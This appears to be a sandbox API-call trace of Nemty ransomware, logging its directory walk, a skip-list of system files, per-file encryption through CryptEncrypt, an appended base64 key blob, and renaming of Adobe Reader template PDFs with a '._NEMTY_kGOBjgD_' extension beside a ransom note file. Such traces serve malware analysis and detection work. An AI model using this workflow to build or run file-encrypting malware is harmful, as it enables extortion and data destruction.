[0172.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0172.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.076] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0172.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0172.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.078] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d17f, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0172.078] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0172.078] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0172.078] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0172.078] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0172.078] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.078] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0172.078] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.078] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0172.078] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.078] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0172.078] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.078] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.079] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0172.079] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0172.079] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0172.079] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0172.079] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0172.079] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0172.079] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0172.079] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0172.079] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0172.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0172.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.079] Sleep (dwMilliseconds=0x5) [0172.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a372450, dwHighDateTime=0x1d561e8)) [0172.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a372450, dwHighDateTime=0x1d561e8)) [0172.081] GetLastError () returned 0x0 [0172.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.082] GetLastError () returned 0x0 [0172.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.082] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.082] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.082] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0172.082] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="7StjVRCF/E2qF/836H3vl9FAhJJDagZZyIeffgVGEFfy63Ke2zYs06tY1CON3dht\r\n68OBZHyLWaY9kpTdbLIignqWFtPBzzpofhLgIAX7HSg8qD/TM3V8JnFxEDPt46SK\r\nDJcj+CexMES0PQ+/g34Lge1VTU5PW2L0W943TAyTaNLIWQl8xqqKqTBDFim9F1X3\r\nfGvKJl5dnUolnKjtvOvwRd6/t3NscdA7eedm2xz/wD8onwSoB2GYQ/NvY19bBQLY\r\nd3XReARRITLah64+DUTOHsov3Q+QiyNlE/89PWZR2dkEimu+N33iyMmEx79yzgax\r\ndwVkfiVmfuFe0EXiVbAHSg==\r\n", pcchString=0x653e5dc) returned 1 [0172.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0172.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.082] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.082] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=119167) returned 1 [0172.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0172.082] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.083] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0172.092] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.092] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0172.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.092] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=119167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d17f [0172.092] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.092] CloseHandle (hObject=0x3b0) returned 1 [0172.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0172.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0172.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.093] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0172.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0172.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.093] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a326190, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a326190, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a326190, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.093] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.093] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.093] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.093] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.093] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.094] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0172.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.095] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a326190, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a326190, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a326190, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.095] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.095] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SKY", cAlternateFileName="")) returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2=".") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="..") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="...") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="windows") returned -1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="$RECYCLE.BIN") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="rsa") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="NTDETECT.COM") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="ntldr") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="MSDOS.SYS") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="IO.SYS") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="boot.ini") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="boot.ini") returned 1 